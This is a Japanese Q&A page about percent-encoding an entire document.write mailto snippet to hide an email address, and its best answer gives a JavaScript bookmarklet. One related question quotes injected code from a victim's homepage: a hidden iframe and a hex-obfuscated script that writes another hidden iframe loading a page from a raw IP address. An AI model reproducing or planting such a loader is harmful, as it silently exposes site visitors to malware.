英文字を含む文字列のURIエンコードについて

このQ&Aのポイント
  • 英文字を含む文字列のURIエンコードについての説明と、実際に試した結果の違いについて説明します。
  • URLエンコードとは、URL内で使用できない文字を%でエンコードする方法です。英文字を含む文字列の場合、エンコード結果はサイトによって異なることがあります。
  • 具体的なサンプルを挙げながら、変換サービスサイトでエンコードした結果と実際のエンコード結果が異なる理由を説明します。
回答を見る
  • ベストアンサー

英文字を含む文字列のURIエンコードについて

宜しくお願いいたします。 以下のサイトでHTMLソースの一部をURIエンコードして、javascriptでデコード・書き戻して利用する方法についての記述を見つけました。 http://ameblo.jp/azuki-milk-lush/entry-10559249105.html このページには、以下のようにエンコードされている事例が掲載されています。 document.write('<a href="mailto:メールアドレス">お問い合わせ</a>'); ↓ %64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%61%20%68%72%65%66%3D%22%6D%61%69%6C%74%6F%3A%73%75%70%70%6F%72%74%40%73%74%61%2D%6C%6F%67%2E%63%6F%6D%22%3E%E3%81%8A%E5%95%8F%E3%81%84%E5%90%88%E3%82%8F%E3%81%9B%3C%2F%61%3E%27%29%3B 上記では一見アルファベットも識別できないような形でエンコードされています。 早速このページで紹介されている変換サービスサイトで、実験をしてみたのですが、同じような結果にはなりません。 http://itsd210.s24.xrea.com/ja/urlencode/ 【▼こうなってしまう▼】 document.write('<a href="mailto:メールアドレス">お問い合わせ</a>'); ↓ document.write('%3Ca%20href%3D%22mailto%3A%E3%83%A1%E3%83%BC%E3%83%AB%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%22%3E%E3%81%8A%E5%95%8F%E3%81%84%E5%90%88%E3%82%8F%E3%81%9B%3C%2Fa%3E')%3B 一見してアルファベットも識別できないような変換はどのようにすれば行えるのでしょうか? 詳しい方がいらっしゃいましたら、ご教示願います。 何卒、宜しくお願い申し上げます。

  • HTML
  • 回答数1
  • ありがとう数1

質問者が選んだベストアンサー

  • ベストアンサー
  • ky072
  • ベストアンサー率60% (85/140)
回答No.1

こんなスクリプトで変換してみてはいかがでしょう。 (function(){prompt(2,prompt(1).replace(/./g,function(s){var c=s.charCodeAt(0);return 127<c?encodeURIComponent(s):(c<16?'%0':'%')+c.toString(16);}));})(); ブラウザのアドレス欄に次の1行を貼り付けるか、 javascript:(function(){prompt(2,prompt(1).replace(/./g,function(s){var c=s.charCodeAt(0);return 127<c?encodeURIComponent(s):(c<16?'%0':'%')+c.toString(16);}));})(); 次のコードを適当なHTMLファイルに書き込むと早いです。 <a href="javascript:%28function%28%29%7bprompt%282%2cprompt%281%29%2ereplace%28%2f%2e%2fg%2cfunction%28s%29%7bvar%20c%3ds%2echarCodeAt%280%29%3breturn%20127%3cc%3fencodeURIComponent%28s%29%3a%28c%3c16%3f%27%250%27%3a%27%25%27%29%2bc%2etoString%2816%29%3b%7d%29%29%3b%7d%29%28%29%3b">CLICK!</a> どちらの場合も、1つ目のダイアログ「1」に変換前の文字列を入れると、 ダイアログ「2」に変換後のコードが出てくるはずです。

chiku-san
質問者

お礼

ありがとうございます! 助かりました!

関連するQ&A

  • URLエンコード  文字数について

    URLエンコード  文字数について <a href="mailto:info@example.com?subject=%96%e2%82%a2%8d%87%82%ed%82%b9">メールはこちらへ</a> などHTMLの記述で文字化けを防ぐために下記文字列のように %96%e2%82%a2%8d%87%82%ed%82%b9 日本語をエンコードしていますが、ある一定以上の文字数を入力すると、そのリンクをクリックしてもメールソフトが起動しません。 文字数の制限があるのでしょうか? 詳しい方いらっしゃいましたら教えて下さい。 宜しくお願いします。

    • ベストアンサー
    • HTML
  • リンク作成方法について

    以下のリンクをhtmlに記述しました。 その後htmlチエッカーに掛けたところ、エラーの警告が出たため、前回ご質問させて頂いたところ 以下よりエンコードをすれば良い。とご指導をいただきました。 http://www.shtml.jp/mojibake/urlencode.html <a href="mailto:お友達のメール@アドレス?Subject=参考になるかな?ページ見つけたよ!&amp;body=参考になるかも?見てみてね!">友達にメールですすめる</a> 上記をエンコードしたところ、以下のように表示されましたが、このままhtmlに貼り付ければ良いのでしょうか? 実際にやってみたところ、うまくいきませんでした。 %3Ca%20href%3D%22mailto%3A%82%A8%97F%92B%82%CC%83%81%81%5B%83%8B%40%83A%83h%83%8C%83X%3FSubject%3D%8EQ%8Dl%82%C9%82%C8%82%E9%82%A9%82%C8%81H%83y%81%5B%83W%8C%A9%82%C2%82%AF%82%BD%82%E6%81I%26amp%3Bbody%3D%8EQ%8Dl%82%C9%82%C8%82%E9%82%A9%82%E0%81H%8C%A9%82%C4%82%DD%82%C4%82%CB%81I%22%3E%97F%92B%82%C9%83%81%81%5B%83%8B%82%C5%82%B7%82%B7%82%DF%82%E9%3C%2Fa%3E よって以下のようにもやってみたのですがうまくいきませんでした。 <a href="mailto:お友達のメール@アドレス?Subject=%3Ca%20href%3D%22mailto%3A%82%A8%97F%92B%82%CC%83%81%81%5B%83%8B%40%83A%83h%83%8C%83X%3FSubject%3D%8EQ%8Dl%82%C9%82%C8%82%E9%82%A9%82%C8%81H%83y%81%5B%83W%8C%A9%82%C2%82%AF%82%BD%82%E6%81I%26amp%3Bbody%3D%8EQ%8Dl%82%C9%82%C8%82%E9%82%A9%82%E0%81H%8C%A9%82%C4%82%DD%82%C4%82%CB%81I%22%3E%97F%92B%82%C9%83%81%81%5B%83%8B%82%C5%82%B7%82%B7%82%DF%82%E9%3C%2Fa%3E</a> 記述方法のご指導よろしくお願いします。

    • ベストアンサー
    • HTML
  • perl で mailto: リンク

    perl で書かれた CGI のソースに、$vout 変数内に a タグで mailto: のリンクが書いてあり、クライアントが リンクを踏むと、メーラーが立ち上がるようになっています。 が、mailto: に subject と body を含めて、かつ body には改行を含めたいのですが、どうしてもエラーになってしまいます。 以下を含める場合、どのように書けばよいのでしょうか ? <持込に関して> ← subject ↓本文 @お名前[改行] @ご住所[改行] @お電話番号[改行] <問い合わせ内容詳細> ちなみに URLエンコードで <a href="mailto:yourname@yourhost.yourdomain?subject=%8E%9D%8D%9E%82%C9%8A%D6%82%B5%82%C4&body=%40%82%A8%96%BC%91O%5B%89%FC%8Ds%5D%0D%0A%40%82%B2%8FZ%8F%8A%5B%89%FC%8Ds%5D%0D%0A%40%82%A8%93d%98b%94%D4%8D%86%5B%89%FC%8Ds%5D%0D%0A%3C%96%E2%82%A2%8D%87%82%ED%82%B9%93%E0%97e%8F%DA%8D%D7%3E"></a> としてもサーバエラーになってしまいます。 subjectやbody をつけなければ動くのですが、どこがいけないんでしょうか ? ソースは ShiftJISになっています。よろしくお願いします。

    • ベストアンサー
    • Perl
  • index.html main.htmlに謎の文字列が。

    HPを運営しているのですが、最近、1日に1回 <body>のすぐ後ろに <iframe src='http://url' width='1' height='1' style='visibility:hidden'></iframe><script>function v475af88182c70(v475af8818534b){ function v475af88187800 () {return 16;} return(parseInt(v475af8818534b,v475af88187800()));}function v475af8818871e(v475af88188ee4){ function v475af8818a653 () {var v475af8818c5ef=2; return v475af8818c5ef;} var v475af881896b3='';for(v475af88189e84=0; v475af88189e84<v475af88188ee4.length; v475af88189e84+=v475af8818a653()){ v475af881896b3+=(String.fromCharCode(v475af88182c70(v475af88188ee4.substr(v475af88189e84, v475af8818a653()))));}return v475af881896b3;} document.write(v475af8818871e('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D363134396433626361207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A333239323834292B2730365C272077696474683D373634206865696768743D343331207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> このようなソースが勝手にかかれてしまいます。 avastとadawareを使用し、セーフモードでHDD内を全て検索したのですが、何も反応はでませんでしたが、 まだこの現象は起こっています。 何か分かる方はいらっしゃいませんでしょうか? よろしくお願いいたします。

  • EUC-jpのページでmailto本文を読めるようにしたい

    EUC-jpでホームページを作成しております。 このページ内にmailtoリンクを使った アンケートフォームを置くことになりました。 訪問者がページ上の「こちら」をクリックすると 予め本文にアンケートの質問が書き込まれた メール作成画面が表示されるというものです。 下記のようにしてみたのですが、 ある程度の長さまで書くと、メール作成画面が表示されなくなるのです。 これは書き方が悪いのでしょうか? それともこの方法は文字数の制限などがあるのでしょうか? もちろんあまり好ましいやり方ではないのは承知なのですが、 どなたかお教え頂けたら幸いです。 何卒宜しくお願い申し上げます。 なお、私が使っているのは WindowsXP IE6.0 です。 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=EUC-jp"> <title>アンケート</title> </head> <body> <script language="Javascript"> <!-- var Mac = navigator.userAgent.indexOf("Mac") != -1 ? true : false; document.write("<a href=\"mailto:test@xxx.xx.jp?subject=%83A%83%93%83P%81%5B%83g&body="); if(Mac){ document.write("%0D%0D"); } else { document.write("%0D%0A%0D%0A"); } document.write("%96%E2%82P"); //問1 if(Mac){ document.write("%0D"); } else { document.write("%0D%0A"); } document.write("%96%E2%82Q"); //問2 if(Mac){ document.write("%0D"); } else { document.write("%0D%0A"); } document.write("\">こちら</a>"); //--> </script> <noscript> <a href=\"mailto:test@xxx.xx.jp?subject=%83A%83%93%83P%81%5B%83g">こちら</a> </noscript> </body> </html>

  • 任意の2バイト文字からなる文字列を、一括でURIに含め置換するには

    【質問】 <td>鳥山明</td> <td>王貞治</td>・・・・ という文字列を <td><a href="http://ja.wikipedia.org/wiki/%E9%B3%A5%E5%B1%B1%E6%98%8E">鳥山明</a></td> <td><a href="http://ja.wikipedia.org/wiki/%E7%8E%8B%E8%B2%9E%E6%B2%BB">王貞治</a></td>・・・・ という風に置換したいのですが、最も簡単にやるにはどうすればいいのでしょうか。 【備考】 phpを使い、2バイト文字をascii文字にエンコードするようにコーディングすると、ページ全体のURIが.html から .phpに変わってしまい、いろいろと問題がでてきてしまうので、.htmlのURIを維持したまま満足する解決策を教えて欲しいのです。 phpのmod_rewriteを使えばよいのでしょうが、私はphpについてよくわからないので、できるだけ単純に満足させる解決策を教えていただきたいのです・・・。 【環境】手前の借りているサーバーはphp5のモジュールモード対応で、htaccessが変更可能とのことです。 【私がやったこと】 正規表現で <td>(...)</td> ↓ <td><a href="http://ja\.wikipedia\.org/wiki/$1">$1</a></td> に置換して <a href="http://ja.wikipedia.org/wiki/鳥山明">鳥山明</a> <a href="http://ja.wikipedia.org/wiki/王貞治">王貞治</a> のようにしました。 wikipediaで見られればよいので、当面はこれでも問題ないのですが、URIに2バイト文字が入っているので当然文法的には重大なエラーが残ってしまいます。 【私に学習できること】 遠回りになると思いますが後々役に立つと思うので、phpも多少勉強するつもりです。 どなたか、よろしくお願いいたします。

    • ベストアンサー
    • HTML
  • Excelでの文字列編集について

    Excel2003での質問です。 今、A列~E列に以下の文字が入っています。 A  B  C  D  E 1あ い う え お  2あ   う 上記の内容を「・」で区切りを入れて、F列に結合させたいのですが  F 1あ・い・う・え・お 2あ・う どのようにすればよろしいでしょうか? よろしくお願いします。 尚、現時点で、F1に=CONCATENATE(A1,B1,C1,D1,E1)を設定し、  F 1あいうえお となっています。

  • Excelでの文字列編集(再質問です)

    Excel2003での再質問です。 今、A列~E列に以下の文字が入っています。 A  B  C  D  E 1あ い う え お  2あ   う 上記の内容を「・」で区切りを入れて、F列に結合させたいのですが  F 1あ・い・う・え・お 2あ・う この質問に対しては、以下のご回答をいただき、解決することが出来ました。 =SUBSTITUTE(TRIM(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(A1&B1&C1&D1&E1,A1,A1&" "),B1,B1&" "),C1,C1&" "),D1,D1&" "))," ","・") このたび、3列増やし、A~Hまでの計算式を以下で行ったところ、 =SUBSTITUTE(TRIM(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(A1&B1&C1&D1&E1&F1&G1&H1,A1,A1&" "),B1,B1&" "),C1,C1&" "),D1,D1&" "),E1,E1&" "),F1,F1&" "),G1,G1&" "))," ","・") 計算式がエラーとなります。ご教示いただけますでしょうか? よろしくお願いします。

  • エクセルでリストを使って特定の文字列を数える

    エクセル2003を使っています。 シート3に A B C というリストAと D E F というリストB そして A B C D E F と一緒になっているリストCを作りました。 そしてシート1にリストCを使ってこのような表を作りました。 A D A C B D F E C B A B と選択したとします。 そのとき、左側にリストAの中に含まれている文字列を数える方法はないでしょうか。 使っているのは、 Windows XP Professional SP2 Microsoft Office Excel 2003 SP3 です。

  • mailto の本文の文字化けについて

    13年ほど前、HTML 4.01 でホームページを作り、各種お問い合わせに mailto を使っていましたが、数年前から、mailto の本文が文字化けしていることに気づきました。(mailto の件名は文字化けしていません) 少し前まで、windows7 IE9 を使っていました。Google Chromeの最新版でも本文のみ文字化けしています。自分のメーラーは、windows Live メールです。 最近、windows7 IE10 にアップグレードしたところ、mailto の本文の文字化けがなくなったのですが、Google Chrome では、やはり本文のみ文字化けしたまま。 いろいろ調べて“エンコードすればいい”というのを見つけ、エンコードしてみました。 エンコードの保存に、UTF-8 と Shift-JIS がありましたが、どちらで保存して試してみても、Google Chrome では、本文のみ文字化けします。(IE10 では、どちらで保存しても、本文は文字化けしません) CGI を使ってみようかと思い、Tayori に登録してみたのですが、登録はできたものの、ログインすることができず(エラーメッセージが出て、メッセージに従って対処してもログインできなかった)、挫折しました。簡単にできるらしいものでさえ、こんな感じなので、mailto でなんとか文字化けしないようにできないかと思い、質問させていただきます。カテゴリーがここであっているかどうかわからないのですが…どうぞ、よろしくお願いいたします。 ちなみに、ソースは str="メールアドレス"; document.write(str.link("mailto:メールアドレス?subject=件名&body=以下の項目にご記入をお願いいたします。%0d%0a%0d%0a●●:%0d%0a%0d%0a●●:%0d%0a%0d%0a●●:%0d%0a%0d%0a●●:")); ●●の部分が、問い合わせ内容によって変えている部分です。

    • ベストアンサー
    • HTML

専門家に質問してみよう